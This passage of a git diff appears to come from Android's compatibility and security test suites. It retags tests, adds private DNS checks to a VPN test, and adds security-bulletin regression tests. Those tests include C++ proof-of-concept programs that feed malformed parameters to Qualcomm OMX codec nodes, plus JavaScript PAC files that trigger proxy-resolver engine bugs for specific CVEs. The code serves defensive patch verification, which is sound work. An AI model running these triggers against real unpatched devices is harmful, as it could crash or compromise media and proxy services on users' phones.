     @AppModeFull(reason = "Only the platform can define permissions obtainable by instant applications")
+    @SecurityTest
     public void testPermissionDiffCert() throws Exception {
         Log.i(LOG_TAG, "installing app that attempts to use permission of another app");
         try {
diff --git a/hostsidetests/appsecurity/test-apps/Android.mk b/hostsidetests/appsecurity/test-apps/Android.mk
index f697a59..24249f2 100644
--- a/hostsidetests/appsecurity/test-apps/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/Android.mk
@@ -17,7 +17,7 @@
 include $(CLEAR_VARS)
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests sts
 
 # Build the test APKs using their own makefiles
 include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/appsecurity/test-apps/PermissionDeclareApp/Android.bp b/hostsidetests/appsecurity/test-apps/PermissionDeclareApp/Android.bp
index 64a8e7c..4c79dca 100644
--- a/hostsidetests/appsecurity/test-apps/PermissionDeclareApp/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/PermissionDeclareApp/Android.bp
@@ -23,6 +23,7 @@
         "cts",
         "vts",
         "general-tests",
+        "sts",
     ],
     // sign this app with a different cert than CtsUsePermissionDiffCert
     certificate: ":cts-testkey1",
diff --git a/hostsidetests/appsecurity/test-apps/PermissionDeclareAppCompat/Android.bp b/hostsidetests/appsecurity/test-apps/PermissionDeclareAppCompat/Android.bp
index 54161d6..76203e9 100644
--- a/hostsidetests/appsecurity/test-apps/PermissionDeclareAppCompat/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/PermissionDeclareAppCompat/Android.bp
@@ -23,6 +23,7 @@
         "cts",
         "vts",
         "general-tests",
+        "sts",
     ],
     // sign this app with a different cert than CtsUsePermissionDiffCert
     certificate: ":cts-testkey1",
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/src/com/android/cts/splitapp/SplitAppTest.java b/hostsidetests/appsecurity/test-apps/SplitApp/src/com/android/cts/splitapp/SplitAppTest.java
index de7c837..15aa05e 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/src/com/android/cts/splitapp/SplitAppTest.java
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/src/com/android/cts/splitapp/SplitAppTest.java
@@ -514,7 +514,7 @@
         // enforcement, so we verify that total/free space are identical.
         final long totalDelta = Math.abs(current.getTotalSpace() - primary.getTotalSpace());
         final long freeDelta = Math.abs(current.getFreeSpace() - primary.getFreeSpace());
-        if (totalDelta > MB_IN_BYTES || freeDelta > MB_IN_BYTES) {
+        if (totalDelta > MB_IN_BYTES * 300 || freeDelta > MB_IN_BYTES * 300) {
             fail("Expected primary storage to be on same volume as app");
         }
     }
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/Android.bp b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/Android.bp
index b11c4cc..cbedea9 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/Android.bp
@@ -29,6 +29,7 @@
         "cts",
         "vts",
         "general-tests",
+        "sts",
     ],
     // sign this app with a different cert than CtsPermissionDeclareApp
     certificate: ":cts-testkey2",
diff --git a/hostsidetests/checkpoint/src/android/checkpoint/cts/CheckpointHostTest.java b/hostsidetests/checkpoint/src/android/checkpoint/cts/CheckpointHostTest.java
index ea876d9a..d128c2d 100644
--- a/hostsidetests/checkpoint/src/android/checkpoint/cts/CheckpointHostTest.java
+++ b/hostsidetests/checkpoint/src/android/checkpoint/cts/CheckpointHostTest.java
@@ -16,6 +16,7 @@
 
 package android.checkpoint.cts;
 
+import com.android.compatibility.common.util.ApiLevelUtil;
 import com.android.compatibility.common.util.CtsDownstreamingTest;
 import com.android.tradefed.log.LogUtil.CLog;
 import com.android.tradefed.testtype.DeviceTestCase;
@@ -30,6 +31,9 @@
 
     @CtsDownstreamingTest
     public void testLogEntries() throws Exception {
+        // This test is build also as a part of GTS, which runs also on older releases.
+        if (ApiLevelUtil.isBefore(getDevice(), "Q")) return;
+
         // Clear buffer to make it easier to find new logs
         getDevice().executeShellCommand("logcat --clear");
 
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java
index e374136..3bf5758 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java
@@ -47,6 +47,8 @@
 import java.util.Map;
 import java.util.Set;
 import java.util.concurrent.TimeUnit;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
 
 import javax.annotation.Nullable;
 
@@ -668,21 +670,15 @@
 
     protected int getUserSerialNumber(int userId) throws DeviceNotAvailableException{
         // TODO: Move this logic to ITestDevice.
-        // dumpsys user return lines like "UserInfo{0:Owner:13} serialNo=0"
-        String commandOutput = getDevice().executeShellCommand("dumpsys user");
-        String[] tokens = commandOutput.split("\\n");
-        for (String token : tokens) {
-            token = token.trim();
-            if (token.contains("UserInfo{" + userId + ":")) {
-                String[] split = token.split("serialNo=");
-                assertTrue(split.length == 2);
-                int serialNumber = Integer.parseInt(split[1]);
-                CLog.d("Serial number of user " + userId + ": "
-                        + serialNumber);
-                return serialNumber;
-            }
+        // dumpsys user output contains lines like "UserInfo{0:Owner:13} serialNo=0 isPrimary=true"
+        final Pattern pattern =
+                Pattern.compile("UserInfo\\{" + userId + ":[^\\n]*\\sserialNo=(\\d+)\\s");
+        final String commandOutput = getDevice().executeShellCommand("dumpsys user");
+        final Matcher matcher = pattern.matcher(commandOutput);
+        if (matcher.find()) {
+            return Integer.parseInt(matcher.group(1));
         }
-        fail("Couldn't find user " + userId);
+        fail("Couldn't find serial number for user " + userId);
         return -1;
     }
 
diff --git a/hostsidetests/dumpsys/src/android/dumpsys/cts/BatteryStatsDumpsysTest.java b/hostsidetests/dumpsys/src/android/dumpsys/cts/BatteryStatsDumpsysTest.java
old mode 100644
new mode 100755
diff --git a/hostsidetests/net/app/src/com/android/cts/net/hostside/VpnTest.java b/hostsidetests/net/app/src/com/android/cts/net/hostside/VpnTest.java
index c43d421..26397ef 100755
--- a/hostsidetests/net/app/src/com/android/cts/net/hostside/VpnTest.java
+++ b/hostsidetests/net/app/src/com/android/cts/net/hostside/VpnTest.java
@@ -20,6 +20,7 @@
 import static android.system.OsConstants.*;
 
 import android.annotation.Nullable;
+import android.content.ContentResolver;
 import android.content.Context;
 import android.content.Intent;
 import android.content.pm.PackageManager;
@@ -33,6 +34,7 @@
 import android.net.ProxyInfo;
 import android.net.VpnService;
 import android.net.wifi.WifiManager;
+import android.provider.Settings;
 import android.os.ParcelFileDescriptor;
 import android.os.Process;
 import android.os.SystemProperties;
@@ -62,8 +64,11 @@
 import java.net.InetSocketAddress;
 import java.net.ServerSocket;
 import java.net.Socket;
+import java.net.SocketException;
+import java.net.UnknownHostException;
 import java.nio.charset.StandardCharsets;
 import java.util.ArrayList;
+import java.util.Objects;
 import java.util.Random;
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.TimeUnit;
@@ -95,6 +100,13 @@
  */
 public class VpnTest extends InstrumentationTestCase {
 
+    // These are neither public nor @TestApi.
+    // TODO: add them to @TestApi.
+    private static final String PRIVATE_DNS_MODE_SETTING = "private_dns_mode";
+    private static final String PRIVATE_DNS_MODE_PROVIDER_HOSTNAME = "hostname";
+    private static final String PRIVATE_DNS_MODE_OPPORTUNISTIC = "opportunistic";
+    private static final String PRIVATE_DNS_SPECIFIER_SETTING = "private_dns_specifier";
+
     public static String TAG = "VpnTest";
     public static int TIMEOUT_MS = 3 * 1000;
     public static int SOCKET_TIMEOUT_MS = 100;
@@ -112,6 +124,9 @@
     final Object mLock = new Object();
     final Object mLockShutdown = new Object();
 
+    private String mOldPrivateDnsMode;
+    private String mOldPrivateDnsSpecifier;
+
     private boolean supportedHardware() {
         final PackageManager pm = getInstrumentation().getContext().getPackageManager();
         return !pm.hasSystemFeature("android.hardware.type.watch");
@@ -123,6 +138,7 @@
 
         mNetwork = null;
         mCallback = null;
+        storePrivateDnsSetting();
 
         mDevice = UiDevice.getInstance(getInstrumentation());
         mActivity = launchActivity(getInstrumentation().getTargetContext().getPackageName(),
@@ -137,6 +153,7 @@
 
     @Override
     public void tearDown() throws Exception {
+        restorePrivateDnsSetting();
         mRemoteSocketFactoryClient.unbind();
         if (mCallback != null) {
             mCM.unregisterNetworkCallback(mCallback);
@@ -567,6 +584,95 @@
         }
     }
 
+    private ContentResolver getContentResolver() {
+        return getInstrumentation().getContext().getContentResolver();
+    }
+
+    private boolean isPrivateDnsInStrictMode() {
+        return PRIVATE_DNS_MODE_PROVIDER_HOSTNAME.equals(
+                Settings.Global.getString(getContentResolver(), PRIVATE_DNS_MODE_SETTING));
+    }
+
+    private void storePrivateDnsSetting() {
+        mOldPrivateDnsMode = Settings.Global.getString(getContentResolver(),
+                PRIVATE_DNS_MODE_SETTING);
+        mOldPrivateDnsSpecifier = Settings.Global.getString(getContentResolver(),
+                PRIVATE_DNS_SPECIFIER_SETTING);
+    }
+
+    private void restorePrivateDnsSetting() {
+        Settings.Global.putString(getContentResolver(), PRIVATE_DNS_MODE_SETTING,
+                mOldPrivateDnsMode);
+        Settings.Global.putString(getContentResolver(), PRIVATE_DNS_SPECIFIER_SETTING,
+                mOldPrivateDnsSpecifier);
+    }
+
+    // TODO: replace with CtsNetUtils.awaitPrivateDnsSetting in Q or above.
+    private void expectPrivateDnsHostname(final String hostname) throws Exception {
+        final NetworkRequest request = new NetworkRequest.Builder()
+                .removeCapability(NetworkCapabilities.NET_CAPABILITY_NOT_VPN)
+                .build();
+        final CountDownLatch latch = new CountDownLatch(1);
+        final NetworkCallback callback = new NetworkCallback() {
+            @Override
+            public void onLinkPropertiesChanged(Network network, LinkProperties lp) {
+                if (network.equals(mNetwork) &&
+                        Objects.equals(lp.getPrivateDnsServerName(), hostname)) {
+                    latch.countDown();
+                }
+            }
+        };
+
+        mCM.registerNetworkCallback(request, callback);
+
+        try {
+            assertTrue("Private DNS hostname was not " + hostname + " after " + TIMEOUT_MS + "ms",
+                    latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+        } finally {
+            mCM.unregisterNetworkCallback(callback);
+        }
+    }
+
+    private void setAndVerifyPrivateDns(boolean strictMode) throws Exception {
+        final ContentResolver cr = getInstrumentation().getContext().getContentResolver();
+        String privateDnsHostname;
+
+        if (strictMode) {
+            privateDnsHostname = "vpncts-nx.metric.gstatic.com";
+            Settings.Global.putString(cr, PRIVATE_DNS_SPECIFIER_SETTING, privateDnsHostname);
+            Settings.Global.putString(cr, PRIVATE_DNS_MODE_SETTING,
+                    PRIVATE_DNS_MODE_PROVIDER_HOSTNAME);
+        } else {
+            Settings.Global.putString(cr, PRIVATE_DNS_MODE_SETTING, PRIVATE_DNS_MODE_OPPORTUNISTIC);
+            privateDnsHostname = null;
+        }
+
+        expectPrivateDnsHostname(privateDnsHostname);
+
+        String randomName = "vpncts-" + new Random().nextInt(1000000000) + "-ds.metric.gstatic.com";
+        if (strictMode) {
+            // Strict mode private DNS is enabled. DNS lookups should fail, because the private DNS
+            // server name is invalid.
+            try {
+                InetAddress.getByName(randomName);
+                fail("VPN DNS lookup should fail with private DNS enabled");
+            } catch (UnknownHostException expected) {
+            }
+        } else {
+            // Strict mode private DNS is disabled. DNS lookup should succeed, because the VPN
+            // provides no DNS servers, and thus DNS falls through to the default network.
+            assertNotNull("VPN DNS lookup should succeed with private DNS disabled",
+                    InetAddress.getByName(randomName));
+        }
+    }
+
+    // Tests that strict mode private DNS is used on VPNs.
+    private void checkStrictModePrivateDns() throws Exception {
+        final boolean initialMode = isPrivateDnsInStrictMode();
+        setAndVerifyPrivateDns(!initialMode);
+        setAndVerifyPrivateDns(initialMode);
+    }
+
     public void testDefault() throws Exception {
         if (!supportedHardware()) return;
         // If adb TCP port opened, this test may running by adb over network.
@@ -598,6 +704,9 @@
         assertSocketClosed(fd, TEST_HOST);
 
         checkTrafficOnVpn();
+
+        checkStrictModePrivateDns();
+
         receiver.unregisterQuietly();
     }
 
@@ -615,6 +724,8 @@
         assertSocketClosed(fd, TEST_HOST);
 
         checkTrafficOnVpn();
+
+        checkStrictModePrivateDns();
     }
 
     public void testAppDisallowed() throws Exception {
diff --git a/hostsidetests/securitybulletin/AndroidTest.xml b/hostsidetests/securitybulletin/AndroidTest.xml
index 85fc0d9..0b00684 100644
--- a/hostsidetests/securitybulletin/AndroidTest.xml
+++ b/hostsidetests/securitybulletin/AndroidTest.xml
@@ -65,10 +65,12 @@
         <!--__________________-->
         <!-- Bulletin 2016-06 -->
         <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
+        <option name="push" value="CVE-2016-2482->/data/local/tmp/CVE-2016-2482" />
 
         <!--__________________-->
         <!-- Bulletin 2016-07 -->
         <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
+        <option name="push" value="CVE-2016-3747->/data/local/tmp/CVE-2016-3747" />
         <option name="push" value="CVE-2014-9803->/data/local/tmp/CVE-2014-9803" />
         <option name="push" value="CVE-2016-3746->/data/local/tmp/CVE-2016-3746" />
         <option name="push" value="CVE-2016-3818->/data/local/tmp/CVE-2016-3818" />
@@ -122,6 +124,8 @@
         <!--__________________-->
         <!-- Bulletin 2017-05 -->
         <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
+        <option name="push" value="CVE-2016-5862->/data/local/tmp/CVE-2016-5862"/>
+        <option name="push" value="CVE-2016-5867->/data/local/tmp/CVE-2016-5867"/>
 
         <!--__________________-->
         <!-- Bulletin 2017-06 -->
@@ -182,7 +186,6 @@
         <!--__________________-->
         <!-- Bulletin 2018-10 -->
         <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
-        <option name="push" value="CVE-2018-9490->/data/local/tmp/CVE-2018-9490" />
         <option name="push" value="CVE-2018-9515->/data/local/tmp/CVE-2018-9515" />
 
         <!--__________________-->
@@ -208,6 +211,7 @@
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="OomCatcher.apk" />
         <option name="test-file-name" value="MainlineModuleDetector.apk" />
+        <option name="test-file-name" value="hotspot.apk" />
     </target_preparer>
 
     <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
diff --git a/hostsidetests/securitybulletin/res/CVE-2018-9490.pac b/hostsidetests/securitybulletin/res/CVE-2018-9490.pac
new file mode 100644
index 0000000..9fb7ba8
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/CVE-2018-9490.pac
@@ -0,0 +1,15 @@
+function FindProxyForURL(url, host){
+    alert("enter");
+    let arr = [];
+    arr[1000] = 0x1234;
+
+    arr.__defineGetter__(256, function () {
+            delete arr[256];
+            arr.unshift(1.1);
+            arr.length = 0;
+            });
+
+    Object.entries(arr).toString();
+    alert(JSON.stringify(entries));
+    return 0;
+}
diff --git a/hostsidetests/securitybulletin/res/CVE-2019-2051.pac b/hostsidetests/securitybulletin/res/CVE-2019-2051.pac
new file mode 100644
index 0000000..b014a16
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/CVE-2019-2051.pac
@@ -0,0 +1,5 @@
+function FindProxyForURL(url, host){
+    this.__defineGetter__("x", (a = (function f() { return; (function() {}); })()) => { });
+    x;
+    return "DIRECT";
+}
\ No newline at end of file
diff --git a/hostsidetests/securitybulletin/res/bug_138442295.pac b/hostsidetests/securitybulletin/res/bug_138442295.pac
deleted file mode 100644
index fc8fd5f..0000000
--- a/hostsidetests/securitybulletin/res/bug_138442295.pac
+++ /dev/null
@@ -1,7 +0,0 @@
-function FindProxyForURL(url, host){
-  _v3 = ({ _v7 = (function outer() {  
-                  for ([...[]][function inner() {}] in []) {}
-                })} = {}) => {};
-  _v3();
-  return "DIRECT";
-}
\ No newline at end of file
diff --git a/hostsidetests/securitybulletin/res/bug_139806216.pac b/hostsidetests/securitybulletin/res/bug_139806216.pac
new file mode 100644
index 0000000..3a1e34d0
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/bug_139806216.pac
@@ -0,0 +1,4 @@
+function FindProxyForURL(url, host){
+    var x = new ArrayBuffer(1);
+    return "DIRECT";
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-2482/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2482/Android.mk
new file mode 100644
index 0000000..bb7ecac
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2482/Android.mk
@@ -0,0 +1,41 @@
+# Copyright (C) 2018 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2016-2482
+LOCAL_SRC_FILES := poc.cpp
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+LOCAL_C_INCLUDES := $(JNI_H_INCLUDE) \
+                    $(TOP)/frameworks/native/include/media/openmax \
+
+LOCAL_SHARED_LIBRARIES := libnativehelper \
+                          liblog \
+                          libstagefright \
+                          libbinder \
+                          libutils \
+                          libmedia \
+                          libmedia_omx \
+                          libstagefright_foundation
+
+LOCAL_COMPATIBILITY_SUITE := cts sts vts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+LOCAL_ARM_MODE := arm
+LOCAL_CPPFLAGS += -Wall -Werror
+
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-2482/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2482/poc.cpp
new file mode 100644
index 0000000..7215e00
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2482/poc.cpp
@@ -0,0 +1,151 @@
+/**
+* Copyright (C) 2018 The Android Open Source Project
+*
+* Licensed under the Apache License, Version 2.0 (the "License");
+* you may not use this file except in compliance with the License.
+* You may obtain a copy of the License at
+*
+*      http://www.apache.org/licenses/LICENSE-2.0
+*
+* Unless required by applicable law or agreed to in writing, software
+* distributed under the License is distributed on an "AS IS" BASIS,
+* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+* See the License for the specific language governing permissions and
+* limitations under the License.
+*/
+
+#define LOG_TAG "CVE-2016-2482"
+
+#include <OMX_Component.h>
+#include <OMX_Types.h>
+#include <binder/IServiceManager.h>
+#include <binder/MemoryDealer.h>
+#include <media/IMediaPlayerClient.h>
+#include <media/IMediaPlayerService.h>
+#include <media/IMediaRecorder.h>
+#include <media/IOMX.h>
+#include <media/OMXBuffer.h>
+#include <media/stagefright/OMXClient.h>
+#include <sys/stat.h>
+#include <sys/time.h>
+#include <utils/StrongPointer.h>
+
+#define OMX_DirInput 0
+#define OMX_CORE_INPUT_PORT_INDEX 0
+
+using namespace android;
+
+struct DummyOMXObserver : public BnOMXObserver {
+public:
+  DummyOMXObserver() {}
+
+  virtual void onMessages(const std::list<omx_message> &messages __unused) {}
+
+protected:
+  virtual ~DummyOMXObserver() {}
+};
+
+// decoder
+bool fuzzIOMXSetParameterChangeCount() {
+  const char *name = "OMX.qcom.video.decoder.avc";
+  sp<IMemory> memory;
+  sp<IOMXNode> node = 0;
+  sp<IOMX> mOmx;
+  IOMX::buffer_id bufferId = 0;
+  int outMemSize = 1024;
+  int bufferCnt = 4;
+  int memSize = 49 * outMemSize * bufferCnt;
+
+  OMXClient client;
+  if (client.connect() != OK) {
+    ALOGE("OMXClient connect == NULL");
+    return false;
+  }
+
+  mOmx = client.interface();
+  if (mOmx == NULL) {
+    ALOGE("OMXClient interface mOmx == NULL");
+    client.disconnect();
+    return false;
+  }
+
+  sp<DummyOMXObserver> observerDec = new DummyOMXObserver();
+
+  ALOGE("-----------decode------------");
+  status_t err = mOmx->allocateNode(name, observerDec, &node);
+  if (err != OK) {
+    ALOGE("%s node allocation fails", name);
+    client.disconnect();
+    return false;
+  }
+
+  sp<MemoryDealer> dealerIn = new MemoryDealer(memSize);
+
+  memory = dealerIn->allocate(memSize);
+  if (memory.get() == nullptr) {
+    ALOGE("memory allocation failed , err: %d", err);
+    node->freeNode();
+    client.disconnect();
+    return false;
+  }
+
+  OMX_PARAM_PORTDEFINITIONTYPE *params = (OMX_PARAM_PORTDEFINITIONTYPE *)malloc(
+      sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
+
+  if (params == NULL) {
+    ALOGE("memory allocation failed , err: %d", err);
+    node->freeNode();
+    client.disconnect();
+    return false;
+  }
+  memset(params, 0, sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
+
+  params->eDir = (OMX_DIRTYPE)OMX_DirInput;
+
+  params->nBufferCountActual = 1024 * 1024 / 16;
+  params->nBufferSize = 0x31000;
+  params->format.video.nFrameHeight = 0;
+
+  /*
+   * Exit from here if setParameter fails.
+   * This is the expected behavior in Android N
+   */
+  err = node->setParameter(OMX_IndexParamPortDefinition, params,
+                           sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
+  ALOGI("setParameter, err: %d", err);
+  if (err != OK) {
+    node->freeNode();
+    free(params);
+    client.disconnect();
+    return false;
+  }
+
+  /*
+   * Exit from here if useBuffer fails.
+   * This is the expected behavior in Android N
+   */
+  err = node->useBuffer(OMX_CORE_INPUT_PORT_INDEX, memory, &bufferId);
+  ALOGE("useBuffer, err: %d", err);
+  if (err != OK) {
+    node->freeNode();
+    free(params);
+    client.disconnect();
+    return false;
+  }
+
+  params->nBufferCountActual = 0xFFFFFFFF;
+
+  err = node->setParameter(OMX_IndexParamPortDefinition, params,
+                           sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
+  ALOGE("setParameter, change actualcount, err: %d", err);
+
+  err = node->freeNode();
+  free(params);
+  client.disconnect();
+  ALOGI("freeNode, err: %d", err);
+  return true;
+}
+
+int main() {
+  return (int)(!fuzzIOMXSetParameterChangeCount());
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-3747/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-3747/Android.mk
new file mode 100644
index 0000000..08041fe
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-3747/Android.mk
@@ -0,0 +1,40 @@
+# Copyright (C) 2018 The Android Open Source Project
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2016-3747
+LOCAL_SRC_FILES := poc.cpp
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+LOCAL_C_INCLUDES := $(JNI_H_INCLUDE) \
+                    $(TOP)/frameworks/av/media/libstagefright \
+                    $(TOP)/frameworks/native/include/media/openmax
+
+LOCAL_SHARED_LIBRARIES := \
+        libstagefright \
+        libbinder \
+        libmedia \
+        libmedia_omx \
+        liblog \
+        libutils
+
+LOCAL_COMPATIBILITY_SUITE := cts vts sts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS += -Wall -Werror
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-3747/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-3747/poc.cpp
new file mode 100644
index 0000000..38a0afa
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-3747/poc.cpp
@@ -0,0 +1,145 @@
+/**
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#define LOG_TAG "CVE-2016-3747"
+
+#include <OMX_Component.h>
+#include <binder/MemoryDealer.h>
+#include <jni.h>
+#include <log/log.h>
+#include <media/IOMX.h>
+#include <media/OMXBuffer.h>
+#include <media/stagefright/OMXClient.h>
+#include <utils/StrongPointer.h>
+
+using namespace android;
+
+struct DummyOMXObserver : public BnOMXObserver {
+ public:
+  DummyOMXObserver() {}
+
+  virtual void onMessages(const std::list<omx_message> &messages __unused) {}
+
+ protected:
+  virtual ~DummyOMXObserver() {}
+};
+
+bool fuzzIOMXQcomEnc() {
+  sp<IOMXNode> node;
+  sp<IOMX> mOmx;
+  int fenceFd = -1;
+  const char *name = "OMX.qcom.video.encoder.mpeg4";
+
+  OMX_PARAM_PORTDEFINITIONTYPE *params = (OMX_PARAM_PORTDEFINITIONTYPE *)malloc(
+      sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
+  params->nPortIndex = 0;  // input port
+  params->format.video.nFrameHeight = 1280 * 4;
+  params->format.video.nFrameWidth = 720 * 4;
+  params->nBufferCountActual = 12;
+  params->nBufferSize = 73728;
+  params->nBufferCountMin = 0x4;
+
+  int inMemSize = params->nBufferSize * 12;
+  int outMemSize = 49152 * 4;
+  int inBufferCnt = 12;
+  int outBufferCnt = 4;
+  int inBufferSize = inMemSize / inBufferCnt;
+  int outBufferSize = outMemSize / outBufferCnt;
+
+  sp<IMemory> memory;
+
+  OMXClient client;
+  if (client.connect() != OK) {
+    ALOGE("OMXClient connect == NULL");
+    return false;
+  }
+
+  mOmx = client.interface();
+  if (mOmx == NULL) {
+    ALOGE("OMXClient interface mOmx == NULL");
+    client.disconnect();
+    return false;
+  }
+
+  sp<DummyOMXObserver> observer = new DummyOMXObserver();
+  status_t err = mOmx->allocateNode(name, observer, &node);
+  if (err != OK) {
+    ALOGI("%s node allocation fails", name);
+    return false;
+  }
+  // make venc in invalid state
+  err = node->sendCommand(OMX_CommandStateSet, 2);
+  if (err != OK) {
+    ALOGE("sendCommand is failed in OMX_StateIdle, err: %d", err);
+    node->freeNode();
+    return false;
+  }
+
+  sp<MemoryDealer> dealerIn = new MemoryDealer(inMemSize);
+  IOMX::buffer_id *inBufferId = new IOMX::buffer_id[inBufferCnt];
+  for (int i = 0; i < inBufferCnt; i++) {
+    sp<IMemory> memory = dealerIn->allocate(inBufferSize);
+    if (memory.get() == nullptr) {
+      ALOGE("memory allocate failed for port index 0, err: %d", err);
+      node->freeNode();
+      return false;
+    }
+    OMXBuffer omxInBuf(memory);
+    err = node->useBuffer(0, omxInBuf, &inBufferId[i]);
+    ALOGI("useBuffer, port index 0, err: %d", err);
+  }
+
+  sp<MemoryDealer> dealerOut = new MemoryDealer(outMemSize);
+  IOMX::buffer_id *outBufferId = new IOMX::buffer_id[outBufferCnt];
+  for (int i = 0; i < outBufferCnt; i++) {
+    sp<IMemory> memory = dealerOut->allocate(outBufferSize);
+    if (memory.get() == nullptr) {
+      ALOGE("memory allocate failed for port index 1, err: %d", err);
+      node->freeNode();
+      return false;
+    }
+    OMXBuffer omxOutBuf(memory);
+    err = node->useBuffer(1, omxOutBuf, &outBufferId[i]);
+    ALOGI("useBuffer, port index 1, err: %d", err);
+  }
+
+  // make venc in invalid state
+  err = node->sendCommand(OMX_CommandStateSet, 3);
+  ALOGI("sendCommand, err: %d", err);
+  if (err != OK) {
+    ALOGE("sendCommand is failed in OMX_StateExecuting, err: %d", err);
+    node->freeNode();
+    return false;
+  }
+
+  OMXBuffer omxInBuf(memory);
+  for (int i = 0; i < inBufferCnt; i++) {
+    err = node->emptyBuffer(inBufferId[i], omxInBuf, 0, 0, fenceFd);
+    ALOGI("emptyBuffer, err: %d", err);
+  }
+
+  OMXBuffer omxOutBuf(memory);
+  for (int i = 0; i < outBufferCnt; i++) {
+    err = node->fillBuffer(outBufferId[i], omxOutBuf, fenceFd);
+    ALOGI("fillBuffer, err: %d", err);
+  }
+  free(params);
+  err = node->freeNode();
+  ALOGI("freeNode, err: %d", err);
+  return true;
+}
+
+int main() { return fuzzIOMXQcomEnc(); }
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-5862/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-5862/Android.mk
new file mode 100644
index 0000000..d6efe13
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-5862/Android.mk
@@ -0,0 +1,16 @@
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2016-5862
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+LOCAL_COMPATIBILITY_SUITE := cts sts vts
